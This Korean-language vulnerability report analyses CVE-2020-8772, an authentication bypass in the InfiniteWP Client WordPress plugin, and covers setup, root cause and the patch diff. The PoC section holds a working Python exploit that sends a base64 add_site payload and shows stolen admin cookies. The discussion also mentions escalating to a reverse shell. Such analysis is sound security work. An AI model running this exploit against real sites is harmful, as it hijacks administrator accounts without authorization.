[CVE-2020-8772] 취약점 분석 보고서
InfiniteWP Client에서 발생하는 인증 우회 취약점
1. Description
CVE-2020-8772는 Wordpress의 InfiniteWP Client에서 발생한 인증 우회(Authentication Bypass) 취약점이다. 이 취약점은 init.php 파일의 iwp_mmb_set_request
함수에서 인증 확인이 누락되어 발생한다. 공격자가 관리자 계정의 사용자 이름만 알고 있다면, 추가적인 인증 없이 관리자 권한으로 로그인할 수 있다.
2. Environment Setting
해당 취약점은 Wordpress의 특정 플러그인(InfiniteWP Client)에 종속되므로 다른 요소들은 이 취약점 발생에 직접적인 영향을 미치지 않는다. 따라서, 로컬에 설치되어 있는 XAMPP와 PHP 7.4.29 버전을 그대로 사용했다.
2.1 Affected Version
- InfiniteWP Client < 1.9.4.5
2.2 InfiniteWP Client 설치
플러그인을 활성화하고 관리자 패널과 클라이언트를 연결하기 위한 정보를 복사한다.
2.3 InfiniteWP Admin Panel 설치
InfiniteWP 관리자 패널은 Wordpress 플러그인이 아니라, 독립적인 애플리케이션이므로 웹사이트에서 직접 다운로드하여 서버에 설치해야 한다.
InfiniteWP - Manage multiple WordPress sites in a dashboard
관리자 패널 설치는 아래 링크를 참고하였으며 관리자 패널에서 복사한 웹사이트 정보를 추가하면 클라이언트와 연결이 완료된다.
How to install the admin panel manually - DIY installation
3. PoC
아래는 init.php 파일의 iwp_mmb_parse_request 함수로 클라이언트의 요청을 파싱하고 있다. _IWP_JSON_PREFIX_
**문자열 이후의 데이터를 추출하여 data 변수에 저장한다.
1
2
3
4
5
6
7
global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
$request_raw_data = $request_data_array[1];
$data = trim(base64_decode($request_raw_data));
$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
}
add_site
라는 액션을 통해 특정 Wordpress 사이트를 관리자 패널에 추가하고 추가될 사이트의 username
을 params
내에 포함시킨다.
1
{"iwp_action": "add_site", "params": {"username": "admin"}}
따라서, _IWP_JSON_PREFIX_
문자열 이후에 base64 인코딩한 페이로드를 삽입하여 요청을 시도한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site.")
args = parser.parse_args()
url = args.url
data = '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
request = requests.Request('POST', url, data=data, headers=headers).prepare()
print("=== Request ===")
print(f"{request.method} {request.path_url} HTTP/1.1")
for header, value in request.headers.items():
print(f"{header}: {value}")
print()
print(request.body)
print()
response = requests.Session().send(request)
print("=== Response ===")
print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
for header, value in response.headers.items():
print(f"{header}: {value}")
print()
if response.content:
print(response.content.decode())
print()
PoC 실행 결과이다.
1
python exploit.py -u http://localhost/wordpress/
<IWPHEADER>IWP_JSON_PREFIX
이후의 JSON 데이터에서는 오류 정보를 담고 있지만 응답에 포함된 Set-Cookie
헤더에는 admin의 인증이 담긴 쿠키가 들어 있다.
인증 관련 쿠키가 탈취되었기 때문에 이 쿠키를 이용하여 로그인된 사용자로 서버에 접근이 가능해진다.
1
2
3
Set-Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1731294066%7CBdSyolk5byySaChUe5PaaDbqd2eiAhtOXB77uWUL37G%7Ca737c90621d6875a9cdfe9347f1d66da54dce407a13b3ee0e35b791dc4802ccc; path=/wordpress/wp-content/plugins; HttpOnly,
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1731294066%7CBdSyolk5byySaChUe5PaaDbqd2eiAhtOXB77uWUL37G%7C8e5e6e7ab39289af449fc5602d19a43c42417e94fd359b3fb1f37a1471354438; path=/wordpress/; HttpOnly,
wordpress_sec_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1731294066%7CXPaJDm3SPVy8bit94rrdfA7ZX0dj2U27ZHlugsII8Qj%7C57531b804e6e218addfd834cf21c0d4aedfe5e47990ccbb44d868177b60b220e; path=/wordpress/wp-admin; secure; HttpOnly
4. Analysis
check_if_user_exists
함수로username
이 존재하는지 확인하고 있지만 해당 사용자가 실제로 권한을 가지고 있는지 확인하지 않는다.결과적으로, 관리자 권한 여부나 비밀번호 검증 없이
add_site
액션이 수행된다.1 2 3 4 5 6 7 8 9 10
// init.php // function iwp_mmb_parse_request if (!$iwp_mmb_core->check_if_user_exists($params['username'])) iwp_mmb_response(array('error' => 'Username <b>' . $params['username'] . '</b> does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false); if ($action == 'add_site') { $params['iwp_action'] = $action; $iwp_mmb_core->request_params = $params; return; }
클라이언트의 요청 페이로드에서 iwp_action과 params의 값을 받아 action과 params 변수에 각각 저장한다.
1 2 3 4 5 6 7 8 9 10 11
// init.php // function iwp_mmb_set_request global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log; if (is_user_logged_in()) { iwp_plugin_compatibility_fix(); } if (empty($iwp_mmb_core->request_params)) { return false; } $params = $iwp_mmb_core->request_params; $action = $iwp_mmb_core->request_params['iwp_action'];
- 이후
username
으로 사용자 객체를 불러와서 인증을 설정한다. 비밀번호 검증이나 추가 인증 없이, 해당 사용자로 로그인 된 것으로 간주하고 인증 쿠키를 발급하기 때문에 인증 우회 취약점이 발생한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
// init.php // function iwp_mmb_set_request if(isset($params['username']) && !is_user_logged_in()){ $user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] ); if (isset($user) && isset($user->ID)) { wp_set_current_user($user->ID); // Compatibility with All In One Security update_user_meta($user->ID, 'last_login_time', current_time('mysql')); } $isHTTPS = (bool)is_ssl(); if($isHTTPS){ wp_set_auth_cookie($user->ID); }else{ wp_set_auth_cookie($user->ID, false, false); wp_set_auth_cookie($user->ID, false, true); } }
5. Patch Diff
기존 1.9.4.4 버전에서는 iwp_action
값에 상관없이 어떤 권한으로도 해당 액션이 실행될 수 있었다.
1
2
3
4
5
6
7
8
9
// init.php
// function iwp_mmb_set_request
// 1.9.4.4
$params = $iwp_mmb_core->request_params;
$action = $iwp_mmb_core->request_params['iwp_action'];
$is_save_activity_log = $iwp_mmb_core->request_params['is_save_activity_log'];
if ($action == 'maintain_site') {
iwp_mmb_maintain_site($params);
iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
1.9.4.5 버전에서는 iwp_action
이 add_site
또는 readd_site
인 경우 함수를 종료시켜, 이러한 시도들을 차단하고 있다.
1
2
3
4
5
6
7
8
9
10
11
12
// init.php
// function iwp_mmb_set_request
// 1.9.4.5
$params = $iwp_mmb_core->request_params;
$action = $iwp_mmb_core->request_params['iwp_action'];
$is_save_activity_log = $iwp_mmb_core->request_params['is_save_activity_log'];
if ($action == 'add_site' || $action == 'readd_site') {
return false;
}
if ($action == 'maintain_site') {
iwp_mmb_maintain_site($params);
iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
6. Discussion
이 인증 우회 취약점은 공격자가 관리자 계정의 사용자명을 알고 있을 경우 비밀번호 없이 관리자 권한을 획득할 수 있었다. 추가적으로 관리자 권한으로 Wordpress 테마 편집기에 접근하여 테마 파일 중 하나인 archive.php 파일을 리버스 쉘 코드로 덮는다면 쉘을 활성화 할 수 있다고 한다. 아래 링크는 이 취약점을 악용하여 리버스 쉘을 획득하는 절차를 설명하고 있으므로 참고하면 좋을 듯 하다.